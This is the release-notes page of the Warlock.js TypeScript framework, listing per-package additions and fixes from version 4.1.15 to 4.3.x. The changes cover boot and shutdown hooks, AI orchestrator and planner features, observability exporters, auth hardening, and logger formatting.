                                    @warlock.js/coreAdded 8Fixed 1
                                    • AddedApplication.onceBooted(cb) — run a callback once the app is fully booted (fires immediately if already booted)
                                    • AddedApplication.whenBooted() — promise that resolves with the boot context when the app is fully booted
                                    • AddedApplication.isBooted — whether the app has finished booting
                                    • AddedApplication.onShutdown(cb) — run teardown once on shutdown, before connectors stop (mirror of onceBooted)
                                    • AddedApplication.isShuttingDown — whether shutdown has begun
                                    • Addedbuilt-in /health (liveness) and /ready (readiness) endpoints with a health check registry (health.addCheck)
                                    • Addedgraceful HTTP shutdown — drains in-flight requests on shutdown, bounded by http.gracefulShutdown.timeout
                                    • Addedhttp.health.* config to toggle or rename the health endpoints
                                    • Fixedconnector shutdown no longer reverses the connector list in place (could corrupt order on a repeated shutdown)
                                    @warlock.js/aiFixed 2
                                    • FixedPlanner: OpenAI strict structured-output 400. The generated plan schema now lists every property in required and drops minItems / maxItems, so ai.planner() no longer fails against OpenAI strict json_schema mode.
                                    • FixedReport / result types no longer collapse to never under strict TypeScript. The narrowing report / result types now override the discriminant via Omit<…> instead of intersection. Type-only — no runtime change.
                                    @warlock.js/ai-panopticAdded 1Fixed 1
                                    • AddedOpt-in content capture. panoptic({ captureContent, redactContent }) copies the agent prompt / response and each tool's args / result onto spans, surfaced by the console (io), file, OTel (gen_ai.prompt / gen_ai.completion), and Langfuse exporters. Off by default; a ContentRedactor masks each value.
                                    • FixedLangfuse token accounting — generations now meter their own usage (rolled-up minus children) and the root execution is metered, so the trace total no longer double-counts nested spans.
                                    @warlock.js/ai-openaiFixed 1
                                    • FixedStrict structured-output compatibility check is now recursive. A schema that omits a required property anywhere in the tree degrades to loose json_object instead of 400-ing; client-side validation still enforces the full shape.
                                    @warlock.js/cascadeChanged 1
                                    • ChangedDocumented model.uuid — the accessor returns the model's primary id as string (where model.id is string | number); the name is historical and performs no UUID validation.
                                    4.3.0
                                    June 21, 2026

                                    Self-update tooling — @warlock.js/core gains the warlock update command and a new-release notice in warlock dev. @warlock.js/ai caps the primitive ladder with ai.orchestrator(), ai.planner(), and ai.memory(), plus a cost-truth pass across every provider. The new @warlock.js/ai-panoptic package adds observability. ⚠ Breaking: snapshot persistence moves from a CacheDriver to the dedicated SnapshotStore.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 4Fixed 1
                                    • Addedwarlock update — update every @warlock.js/* package in package.json to its latest version (operator preserved), then run the detected package manager's install
                                    • Addeddev-server update notice — warlock dev checks npm on start and prints a one-line notice when a newer @warlock.js/core is published
                                    • AddeddevServer.checkForUpdates config flag (default true) to toggle the dev-server update notice
                                    • AddedfetchLatestVersion() and isNewerVersion() registry/version utilities
                                    • Fixedwarlock dev --skip-typings and --skip-health long-form flags now work (were silently ignored)
                                    @warlock.js/ai⚠ BREAKING 1Added 8
                                    • ⚠ BREAKINGSupervisor + workflow snapshot persistence moved from CacheDriver to the dedicated SnapshotStore contract. The per-primitive fallback is now ai.config({ defaultSnapshotStore }). Migration: replace snapshotStore: cache.driver("redis", { client }) with snapshotStore: ai.snapshot.redis({ client }) (and ai.snapshot.{memory,pg} for the other tiers).
                                    • Addedai.orchestrator() — stateful session manager over a supervisor: durable session / history / context, drift detection, history compaction, resume, and a command surface (orchestrator.asTool(), a 3-tier event surface, and OrchestratorContract / config / error types).
                                    • Addedai.checkpoint.{memory,pg,redis}() and ai.snapshot.{memory,pg,redis}() — durable orchestrator-session and supervisor / workflow run stores, with matching defaultCheckpointStore / defaultSnapshotStore config fields.
                                    • Addedai.memory() — agent-memory store with four tiers: working (in-run scratch), semantic (durable facts), episodic (durable, recency-blended events), and procedural (durable, reinforcement-blended how-tos). Wired into the orchestrator via a memory? field.
                                    • Addedai.planner() — an LLM generates an ordered plan over your registered capabilities, then executes it step-by-step.
                                    • Addedai.spawnSubAgent() — one-shot delegation to a fresh single-use agent with an optional per-task budget; usable from a planner step, a tool, or a workflow.
                                    • AddedCost-truth contract surface across all five adapters — Usage.reasoningTokens, per-channel ModelPricing, and ModelCallOptions.{reasoning, cacheControl} (ignored by adapters that lack the capability).
                                    • AddedDX helpers — ai.router(), ai.fanOut(), ai.batch(), ai.fallbackModel(), ai.mockRouter(), agent.eval() + built-in ai.eval.* scorers, Vitest matchers (registerAiMatchers()), supervisor-level middleware, and ai.systemPrompt.fromFile(path).
                                    • AddedExecutables passed in an agent's tools: [...] are auto-adapted into tools (workflows / supervisors / orchestrators compose directly via .asTool()).
                                    @warlock.js/ai-panopticAdded 4Fixed 3
                                    • Addedpanoptic() — the one-call subscriber factory: builds a collector, registers exporters, and feeds traces via attach(), middleware(), or collect().
                                    • AddedExporters — consoleExporter(), fileExporter() (JSON-Lines), otelExporter() (GenAI semantic conventions), and langfuseExporter(). @opentelemetry/* and langfuse are optional peers, lazily imported.
                                    • AddedcreateInMemoryTraceStore() — a queryable in-memory trace store (query / aggregate by runId, sessionId, status, time window; optional capacity FIFO cap) that doubles as an exporter.
                                    • AddedVendor-neutral trace contracts (Trace / TraceSpan / CollectorContract / ExporterContract) derived 1:1 from the core BaseReport tree, plus skills for observing, exporting, and querying traces.
                                    • FixedFailed root runs now carry their error in every export (threaded from the result envelope onto the root span).
                                    • FixedPer-span exporters now receive every span (the collector walks the finalized tree).
                                    • Fixedpanoptic().middleware() now works on a supervisor (the middleware declares a supervisor hook map).
                                    @warlock.js/ai-anthropicAdded 4
                                    • AddedUsage accounting — usage.cacheWriteTokens is populated from Anthropic's cache_creation_input_tokens (alongside cachedTokens); reasoningTokens is left unset because Anthropic bills thinking inside output_tokens.
                                    • AddedExtended thinking — ModelCallOptions.reasoning maps to Anthropic's thinking budget (reasoning.effort → a tiered budget, floored at 1024); temperature is dropped when thinking is enabled.
                                    • AddedSystem-prompt prompt caching — cacheControl.breakpoints >= 1 emits the system prompt with cache_control: { type: "ephemeral" }.
                                    • AddedCapabilities — reasoning, promptCaching, and pdf are now advertised; audio stays absent.
                                    @warlock.js/ai-bedrockAdded 4
                                    • AddedCost-truth capabilities — reasoning, promptCaching, pdf, and audio are reported truthfully per model family (inferred from the model id, overridable via bedrock.model(...)).
                                    • AddedReasoning / extended thinking — ModelCallOptions.reasoning maps to Converse thinking for reasoning-capable models, and no-ops elsewhere so unsupported params never reach the wire.
                                    • AddedPrompt-cache write breakpoints — cacheControl.breakpoints appends a Converse cachePoint block for caching-capable models.
                                    • AddedUsage.cacheWriteTokens populated from Converse cacheWriteInputTokens; reasoningTokens is left unset (Bedrock reports no reasoning channel).
                                    @warlock.js/ai-googleAdded 3
                                    • AddedUsage.reasoningTokens is populated from Gemini's thoughtsTokenCount (alongside cachedTokens), surfaced only when reported > 0.
                                    • AddedModelCallOptions.reasoning maps to Gemini's thinkingConfig (maxTokens → thinkingBudget, effort → a bucketed budget) for reasoning-capable models.
                                    • AddedModelCapabilities now reports reasoning, promptCaching, audio, and pdf; cacheControl is accepted as a graceful no-op.
                                    @warlock.js/ai-openaiAdded 3
                                    • AddedUsage.reasoningTokens is populated from completion_tokens_details.reasoning_tokens (o-series / gpt-5 hidden reasoning channel), emitted only when > 0.
                                    • AddedModelCallOptions.reasoning.effort maps to the native reasoning_effort param for reasoning-capable models; reasoning.maxTokens has no Chat Completions equivalent.
                                    • AddedModelCapabilities.reasoning is inferred from the model name (overridable via .model(...)); promptCaching is always true (OpenAI caches automatically), and cacheControl write breakpoints are a no-op.
                                    @warlock.js/ai-ollamaAdded 2
                                    • AddedModelCapabilities.reasoning is inferred from thinking-capable model tags (overridable via ollama.model({ name, reasoning })); promptCaching / audio / pdf report false.
                                    • AddedModelCallOptions.reasoning maps onto Ollama's native think flag for reasoning-capable models; reasoning.maxTokens and cacheControl are graceful no-ops.
                                    4.2.11
                                    June 17, 2026

                                    Soft deletes go end-to-end in @warlock.js/cascade. @warlock.js/core adds warlock add notifications, and @warlock.js/notifications gains model-driven column mapping, read-state, and multi-tenant support.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/cascadeAdded 1Changed 1Fixed 2
                                    • AddedMigration.create auto-wires the deletedAt column when the model's delete strategy is "soft" (opt out with { softDeletes: false })
                                    • ChangedRequire @mongez/reinforcements ≥ 3.3.0 — the update validator now uses its new when helper for conditional schema fields
                                    • FixedSoft destroy() now sets deletedAt on the in-memory model — the instance was left stale before
                                    • FixedUpdate validation no longer strips or rejects the deletedAt column under strict mode (now whitelisted like the timestamps)
                                    @warlock.js/coreAdded 3Changed 3Fixed 1
                                    • AddedlowerStage3Decorators() — Vite/Vitest plugin that lowers TC39 Stage-3 decorators with esbuild before oxc / the SSR rewrite mangles them; drop it first in plugins so model-decorated files load under Vitest 4 / Vite 8.
                                    • Addedwarlock add notifications — installs @warlock.js/notifications (+ the mail feature), ejects config/notifications.ts, and scaffolds the app-owned Notification model + migration (idempotent).
                                    • AddedNotifications connector — a built-in, config-gated connector that lazy-imports @warlock.js/notifications, so core keeps no hard dependency on it.
                                    • Changedwarlock add test now scaffolds a vite.config.ts that includes lowerStage3Decorators(), so a fresh project can test decorated models out of the box.
                                    • Changedwarlock add test test / test:coverage scripts now run one-shot (vitest run) instead of watch mode — CI-safe by default.
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    • FixedstartHttpTestServer now starts early-phase connectors (database, cache, logger, …) before app modules, then late-phase (http, socket) after — mirroring dev/prod boot order; fixes a MissingDataSourceError under the Vitest integration harness.
                                    @warlock.js/notificationsChanged 5
                                    • ChangedIn-app column mapping moved onto the model as static columnMap (recipient / tenant / readAt / isRead); accessors, repository, and channels all derive from it. New NotificationColumnMap type.
                                    • ChangedRead-state is presence-based — declaring readAt, isRead, or both selects the representation (default read_at); the mode-agnostic unread filter replaces isRead.
                                    • ChangedMulti-tenant support — when the model declares a tenant column, the database channel reads it off the recipient and createFor(...) writes it.
                                    • ChangedinApp.list / inApp.listUnread now forward full list options (page / limit / orderBy + filters).
                                    • ChangednotificationColumns(model) derives its columns from columnMap; the SQL-vs-MongoDB dataSource branch is removed.
                                    @warlock.js/authChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    @warlock.js/cacheChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    @warlock.js/heraldChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    @warlock.js/loggerChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    @warlock.js/sealChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0
                                    create-warlockChanged 1
                                    • ChangedBumped @mongez/reinforcements to 3.3.0 (package dependency + project template)
                                    4.2.10
                                    June 17, 2026

                                    Patch: @warlock.js/auth moves its internal @mongez/* utilities from peer to regular dependencies, clearing the install warnings. @warlock.js/logger softens its console timestamp to gray.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/authFixed 1
                                    • Fixed@mongez/copper, @mongez/events, and @mongez/reinforcements are now regular dependencies instead of peerDependencies — they're framework-internal utilities your app never imports, so declaring them as peers produced unmet peer dependency warnings on install.
                                    @warlock.js/loggerChanged 1
                                    • ChangedConsoleLog's timestamp (and the ↳ context arrow) switch from bright-black gray to the 256-color slate — recessive but cleanly legible where bright-black read muddy.
                                    create-warlockChanged 1
                                    • ChangedThe project template now pins the latest @mongez/* versions (@mongez/reinforcements@^3.2.0, @mongez/agent-kit@^1.2.0) so freshly scaffolded apps start on current dependencies. (@warlock.js/* versions are still rewritten to the scaffolder's own version at install time.)
                                    4.2.9
                                    June 17, 2026

                                    Patch: @warlock.js/logger's console output is retuned for scannability — a dimmed time-only timestamp, aligned level columns, and a restored white-on-red fatal badge.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/loggerChanged 1
                                    • ChangedConsoleLog output retuned for scannability — a time-only HH:mm:ss.SSS timestamp dimmed to gray, fixed-width level tags so the columns align, and fatal restored to a white-on-bright-red background badge. (FileLog / JSONFileLog keep the full ISO timestamp.)
                                    4.2.8
                                    June 17, 2026

                                    Patch: @warlock.js/logger now prints each level's name beside its icon (ℹ info, ⚠ warn, ✗ error, …) for at-a-glance reading.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/loggerChanged 1
                                    • ChangedConsoleLog now prints each level's name beside its icon (⚙ debug, ℹ info, ⚠ warn, ✗ error, ✓ success, ☠ fatal) for at-a-glance reading.
                                    4.2.7
                                    June 17, 2026

                                    Patch: create-warlock now ships its templates/ folder, fixing the "Something went wrong" error when scaffolding a new project.

                                    Full release notes or run npx warlock release-notes.

                                    create-warlockFixed 1
                                    • FixedThe published package now ships its templates/ folder, so scaffolding a new project works from the installed package — it was missing from the build, which failed the wizard with "Something went wrong" at the template-copy step.
                                    4.2.6
                                    June 17, 2026

                                    Patch: create-warlock ships its bin folder again, restoring the CLI that was dropped from 4.2.5.

                                    Full release notes or run npx warlock release-notes.

                                    create-warlockFixed 1
                                    • FixedThe published package now ships its bin folder again, so the create-warlock CLI works from the installed package — it was omitted from the 4.2.5 build.
                                    4.2.5
                                    June 15, 2026

                                    Patch: warlock add notifications now scaffolds the in-app notifications HTTP surface — routes plus a list / mark-read / clear controller, gated by auth.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreAdded 1
                                    • Addedwarlock add notifications now scaffolds the in-app read/dismiss HTTP surface — routes.ts + a notifications.controller.ts (list / unread-count / mark-read / mark-all-read / clear / delete), gated by authMiddleware and recipient-scoped via inApp. Pulls @warlock.js/auth.
                                    4.2.4
                                    June 15, 2026

                                    Patch: corrects a worker-loader build path in @warlock.js/core that 4.2.3 left broken.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreFixed 1
                                    • FixedFix the worker-loader path in the build entry points — a wrong path in 4.2.3 left the worker entry broken (and blocked the 4.2.3 publish for some packages).
                                    4.2.3
                                    June 15, 2026

                                    Patch: ships the worker scripts as @warlock.js/core build entry points. A wrong path here blocked publishing for some packages — fixed in 4.2.4.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreFixed 1
                                    • FixedAdd the worker scripts as build entry points so they ship in the published package.
                                    4.2.2
                                    June 15, 2026

                                    Patch: ships the warlock CLI entry (cli/start) in @warlock.js/core's build.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreFixed 1
                                    • FixedAdd cli/start to the build entry points so the warlock CLI entry ships in the published package.
                                    4.2.1
                                    June 15, 2026

                                    Patch: @warlock.js/core and @warlock.js/cascade ship their bin folders, restoring the warlock and cascade CLIs dropped from 4.2.0.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/coreFixed 1
                                    • FixedShip the bin folder so the warlock CLI works from the published package — it was omitted from the 4.2.0 build.
                                    @warlock.js/cascadeFixed 1
                                    • FixedShip the bin folder so the cascade CLI works from the published package — it was omitted from the 4.2.0 build.
                                    4.2.0
                                    June 15, 2026

                                    A security overhaul of @warlock.js/auth — brute-force throttling, atomic refresh-token rotation, and CSPRNG secrets (the jwt config gives way to accessToken / refreshToken). Introduces two packages: @warlock.js/notifications (multi-channel notifications) and @warlock.js/access (RBAC + ABAC authorization).

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/notificationsNew 1
                                    • NewShipped Warlock.js Notifications Package.
                                    @warlock.js/accessNew 1
                                    • NewShipped Warlock.js Access Package.
                                    @warlock.js/authAdded 5Fixed 6Deprecated 1Removed 2Security 2
                                    • AddedloginThrottleMiddleware — failure-aware brute-force / credential-stuffing protection: counts only failed logins, locks per-account and per-IP, and rejects pre-controller with 429 (cache-backed, fails open). Adds AuthErrorCodes.TooManyAttempts (EC004).
                                    • AddedaccessToken / refreshToken configuration blocks, making a separate refresh-token secret first-class.
                                    • AddedOverridable token storage — register a custom model under config.auth.accessToken.model / refreshToken.model and .extend() the exported schemas to add columns (e.g. a multi-tenant organization_id).
                                    • AddedtokenType (access | refresh) claim, stamped on issue and verified on read, so an access token can't be presented as a refresh token.
                                    • Addedexpires_at on access tokens; warlock auth.cleanup now purges expired access tokens too.
                                    • FixedDefault access-token lifetime was ~3.6 seconds (a numeric expiresIn read as milliseconds) and is now 1 hour.
                                    • FixedTargeted revocation queried userId instead of the user_id column, so logout / refresh-token removal threw on Postgres and silently no-oped on MongoDB; token queries now route through named model statics.
                                    • FixedToken deletions were fire-and-forget (false success for callers, uncatchable rejections) and are now awaited.
                                    • FixedThe route middleware matched on userType instead of the user_type column.
                                    • FixedrevokeAllTokens / revokeTokenFamily reported an empty set, so token.revoked / token.familyRevoked never fired; the revoked rows are now captured before revocation.
                                    • FixedA throwing synchronous auth-event listener no longer turns a completed login into a 500.
                                    • DeprecatedThe auth.jwt.* configuration block. Use accessToken / refreshToken instead — the legacy shape is still read and mapped forward with a one-time deprecation warning.
                                    • RemovedUnread access_tokens columns is_active and last_access.
                                    • RemovedThe unused auth.password.salt configuration key.
                                    • Securitywarlock jwt.generate now derives JWT_SECRET / JWT_REFRESH_SECRET from a CSPRNG (Random.token) instead of Math.random().
                                    • SecurityRefresh-token rotation is atomic — a guarded conditional UPDATE means two concurrent rotations can't both succeed, and a replayed token revokes its entire family.
                                    @warlock.js/loggerAdded 4Changed 3Fixed 1
                                    • Addedlog.flush() — awaitable async counterpart to flushSync(), draining every channel via Promise.allSettled with per-channel isolation. Implemented by FileLog / JSONFileLog.
                                    • AddedSentryLog channel — forwards entries to Sentry (eventLevels become events, others breadcrumbs; module / action as tags). @sentry/node is an optional, lazily-imported peer.
                                    • Addedlog.fatal() + fatal level — ranked strictly above error for unrecoverable failures; does not auto-flush or exit.
                                    • AddedConsoleLog renders fatal with a ☠ icon on a bright-red background, distinct from error's ✗.
                                    • ChangedcaptureAnyUnhandledRejection() now escalates uncaughtException to log.fatal (was error); unhandledRejection stays at error.
                                    • ChangedLoggingData.type is now typed as LogLevel (was a duplicated inline union).
                                    • ChangedLogContract / LogChannel now expose an optional flush?() alongside flushSync?().
                                    • Fixed@sentry/node is referenced only via local types + an indirect dynamic import, so source-served consumers no longer get TS2307: Cannot find module '@sentry/node' when they don't install the optional peer.
                                    @warlock.js/cascadeChanged 1Fixed 1
                                    • ChangedMongoDB and PostgreSQL drivers now log a failed initial connect() at log.fatal (was log.error) — a boot-time database connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean. Per-query and disconnect failures stay at error.
                                    • FixedPostgreSQL increment / decrement (and the *Many variants) bound the amount as $1, colliding with the first filter placeholder (SET n = n + $1 WHERE id = $1) so every filtered counter update wrote the wrong number; the amount now binds after the filter params.
                                    @warlock.js/aiFixed 1
                                    • FixedNo-argument tools (declared without an input schema) no longer crash on invocation — tool.invoke now skips validation when no schema is present and passes the raw input to the handler.
                                    @warlock.js/ai-anthropicAdded 1
                                    • AddedOpt-in promptCaching flag on the model config — marks tool definitions with cache_control: { type: "ephemeral" } so multi-trip agents reuse the static tool schemas at the cache-read rate. Off by default.
                                    @warlock.js/cacheChanged 1
                                    • ChangedRedis driver now logs a failed initial connect() at log.fatal (was log.error) — a boot-time cache connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean.
                                    @warlock.js/coreChanged 1
                                    • Changedherald-connector and http-connector now log a failed boot-time connection at log.fatal (was log.error) — an unrecoverable broker connection or HTTP port-bind failure makes "page on fatal only" alerting clean; the HTTP connector flushes logs before process.exit(1). Disconnect / shutdown failures stay at error.
                                    4.1.15
                                    June 4, 2026

                                    The first public release of Warlock.js — 17 packages published together at 4.1.15. Every change from here on is recorded per package and aggregated on this page.

                                    Full release notes or run npx warlock release-notes.